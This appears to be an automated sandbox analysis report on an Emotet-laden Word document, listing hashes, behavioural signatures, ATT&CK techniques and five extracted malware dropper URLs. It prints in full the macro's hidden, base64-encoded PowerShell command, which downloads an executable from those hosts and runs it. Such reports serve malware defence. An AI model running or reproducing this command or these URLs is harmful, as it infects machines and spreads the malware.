7a5d773aa6ef4cf71a18234e4037788e635a3f8aeefef0e9898d69453bc53025

Resubmissions

28-12-2022 03:05

221228-dk91fahc93 10

20-12-2022 19:37

221220-ycbswsea2x 10

Analysis

max time kernel
105s
max time network
140s
platform
windows10-2004_x64
resource
win10v2004-20220901-en
resource tags

arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
submitted
28-12-2022 03:05

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Report Analysis Logs

General

Target

client/2020-01-14-Word-doc-with-macro-for-Emotet-epoch-2.doc
Size

248KB
MD5

33285762e4d622f59232275df1f8c895
SHA1

9453e78df31d27a75141b298f256fb26c8cd473c
SHA256

7a8cb80805617a8ba3c67dca2a80527c17601869e833272758ea10ef5926b29f
SHA512

2fa25ab449522106249c7a62581148ee9a32d5aa0c0f7dd2a2f4fa79a8b2ac529ad287be84c95e8bc5b0f266307989874bdbaf9fd2ed5cb8c509093af8040231
SSDEEP

6144:p0Rum7mdLRp1bbSBIR/EHGtCMXgTo8qoFt/etg+RC/uY+KSX:p0E3dxtR/iU9mvUPMR+KSX

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://www.lakshmichowkusa.com/emailwishlist/g3B/

exe.dropper

http://adampettycreative.com/x92k25/387wj2/

exe.dropper

https://backerplanet.com/forum_posts/0i7/

exe.dropper

http://hebreoenlinea-chms.mx/wp-content/sW0yhVry/

exe.dropper

https://formaper.webinarbox.it/admin/Kb/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4940	2164	powershell.exe

Blocklisted process makes network request 5 IoCs

Processes:

powershell.exe

flow pid process

21 4940 powershell.exe
23 4940 powershell.exe
51 4940 powershell.exe
60 4940 powershell.exe
67 4940 powershell.exe

flow	pid	process
21	4940	powershell.exe
23	4940	powershell.exe
51	4940	powershell.exe
60	4940	powershell.exe
67	4940	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

1580 WINWORD.EXE
1580 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

4940 powershell.exe
4940 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 4940 powershell.exe
Suspicious use of SetWindowsHookEx 8 IoCs

Processes:

WINWORD.EXE

pid process

1580 WINWORD.EXE
1580 WINWORD.EXE
1580 WINWORD.EXE
1580 WINWORD.EXE
1580 WINWORD.EXE
1580 WINWORD.EXE
1580 WINWORD.EXE
1580 WINWORD.EXE

pid	process
1580	WINWORD.EXE
1580	WINWORD.EXE

pid	process
4940	powershell.exe
4940	powershell.exe

description	pid	process
Token: SeDebugPrivilege	4940	powershell.exe

pid	process
1580	WINWORD.EXE
1580	WINWORD.EXE
1580	WINWORD.EXE
1580	WINWORD.EXE
1580	WINWORD.EXE
1580	WINWORD.EXE
1580	WINWORD.EXE
1580	WINWORD.EXE

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\client\2020-01-14-Word-doc-with-macro-for-Emotet-epoch-2.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:1580

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -w hidden -en JABQAHQAaABrAG8AaQBsAHAAbABxAHcAPQAnAEYAdQByAHEAZwBuAHQAawBkAGIAegBqAGUAJwA7ACQARQBqAHkAaAB0AGgAZABjAHYAeAB6ACAAPQAgACcANwA5ADMAJwA7ACQASgByAHIAcABzAHAAYQBwAHkAbgBmAD0AJwBTAHQAYgBpAHcAYwBqAGwAZQBxAG0AbgBnACcAOwAkAEUAcABxAHcAagBlAHQAeABpAGMAbgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQARQBqAHkAaAB0AGgAZABjAHYAeAB6ACsAJwAuAGUAeABlACcAOwAkAEkAYQBrAG4AcQBiAGIAeQBlAGoAZQBxAD0AJwBTAHQAaABoAGwAawBpAHgAJwA7ACQAQQB5AG8AdwBlAGYAYQBtAGsAPQAuACgAJwBuAGUAJwArACcAdwAnACsAJwAtAG8AYgAnACsAJwBqAGUAYwB0ACcAKQAgAG4ARQBUAC4AVwBFAEIAQwBsAGkAZQBuAHQAOwAkAFAAZgBuAHUAaABrAG8AbwB6AD0AJwBoAHQAdABwADoALwAvAHcAdwB3AC4AbABhAGsAcwBoAG0AaQBjAGgAbwB3AGsAdQBzAGEALgBjAG8AbQAvAGUAbQBhAGkAbAB3AGkAcwBoAGwAaQBzAHQALwBnADMAQgAvACoAaAB0AHQAcAA6AC8ALwBhAGQAYQBtAHAAZQB0AHQAeQBjAHIAZQBhAHQAaQB2AGUALgBjAG8AbQAvAHgAOQAyAGsAMgA1AC8AMwA4ADcAdwBqADIALwAqAGgAdAB0AHAAcwA6AC8ALwBiAGEAYwBrAGUAcgBwAGwAYQBuAGUAdAAuAGMAbwBtAC8AZgBvAHIAdQBtAF8AcABvAHMAdABzAC8AMABpADcALwAqAGgAdAB0AHAAOgAvAC8AaABlAGIAcgBlAG8AZQBuAGwAaQBuAGUAYQAtAGMAaABtAHMALgBtAHgALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AcwBXADAAeQBoAFYAcgB5AC8AKgBoAHQAdABwAHMAOgAvAC8AZgBvAHIAbQBhAHAAZQByAC4AdwBlAGIAaQBuAGEAcgBiAG8AeAAuAGkAdAAvAGEAZABtAGkAbgAvAEsAYgAvACcALgAiAHMAYABwAEwASQBUACIAKAAnACoAJwApADsAJABTAGwAYwBmAGIAZgBiAGwAZAA9ACcAWABjAHIAdgB4AHIAdQB3AHkAJwA7AGYAbwByAGUAYQBjAGgAKAAkAFIAeABoAGsAeABxAHgAYwAgAGkAbgAgACQAUABmAG4AdQBoAGsAbwBvAHoAKQB7AHQAcgB5AHsAJABBAHkAbwB3AGUAZgBhAG0AawAuACIARABPAHcAbgBgAEwATwBBAGQAZgBgAEkAYABsAGUAIgAoACQAUgB4AGgAawB4AHEAeABjACwAIAAkAEUAcABxAHcAagBlAHQAeABpAGMAbgApADsAJABQAGoAbAB3AGUAZgB2AGIAagBrAD0AJwBWAGYAeQB3AHgAegBoAHQAJwA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAtAEkAJwArACcAdABlACcAKwAnAG0AJwApACAAJABFAHAAcQB3AGoAZQB0AHgAaQBjAG4AKQAuACIAbABFAE4AZwBgAFQASAAiACAALQBnAGUAIAAyADkANwA3ADcAKQAgAHsAWwBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6ACIAcwBgAFQAYQBSAHQAIgAoACQARQBwAHEAdwBqAGUAdAB4AGkAYwBuACkAOwAkAFYAcgBwAGwAbwB0AG4AYQBjAHEAZgB3AD0AJwBFAGEAdwBxAGIAegB3AHkAegB3AHEAegAnADsAYgByAGUAYQBrADsAJABYAHIAeQB6AGUAbwBxAGUAbwB1AGcAaQB2AD0AJwBMAHAAagBlAGMAcwB5AGwAYwBrAGwAeAB3ACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFUAcAB5AHAAZABrAHMAZwBzAGUAZAB6AD0AJwBKAHQAZABuAGIAbgBnAGgAJwA=
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4940

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/1580-140-0x0000027AE3ADC000-0x0000027AE3ADE000-memory.dmp

Filesize
8KB

Download
memory/1580-136-0x00007FFC32230000-0x00007FFC32240000-memory.dmp

Filesize
64KB

Download
memory/1580-132-0x00007FFC32230000-0x00007FFC32240000-memory.dmp

Filesize
64KB

Download
memory/1580-135-0x00007FFC32230000-0x00007FFC32240000-memory.dmp

Filesize
64KB

Download
memory/1580-149-0x00007FFC32230000-0x00007FFC32240000-memory.dmp

Filesize
64KB

Download
memory/1580-137-0x00007FFC2FA10000-0x00007FFC2FA20000-memory.dmp

Filesize
64KB

Download
memory/1580-138-0x00007FFC2FA10000-0x00007FFC2FA20000-memory.dmp

Filesize
64KB

Download
memory/1580-147-0x00007FFC32230000-0x00007FFC32240000-memory.dmp

Filesize
64KB

Download
memory/1580-134-0x00007FFC32230000-0x00007FFC32240000-memory.dmp

Filesize
64KB

Download
memory/1580-133-0x00007FFC32230000-0x00007FFC32240000-memory.dmp

Filesize
64KB

Download
memory/1580-139-0x0000027AE5D80000-0x0000027AE5D84000-memory.dmp

Filesize
16KB

Download
memory/1580-148-0x00007FFC32230000-0x00007FFC32240000-memory.dmp

Filesize
64KB

Download
memory/1580-146-0x00007FFC32230000-0x00007FFC32240000-memory.dmp

Filesize
64KB

Download
memory/4940-144-0x00007FFC46040000-0x00007FFC46B01000-memory.dmp

Filesize
10.8MB

Download
memory/4940-143-0x00007FFC46040000-0x00007FFC46B01000-memory.dmp

Filesize
10.8MB

Download
memory/4940-142-0x00007FFC46040000-0x00007FFC46B01000-memory.dmp

Filesize
10.8MB

Download
memory/4940-141-0x0000023FB2FC0000-0x0000023FB2FE2000-memory.dmp

Filesize
136KB

Download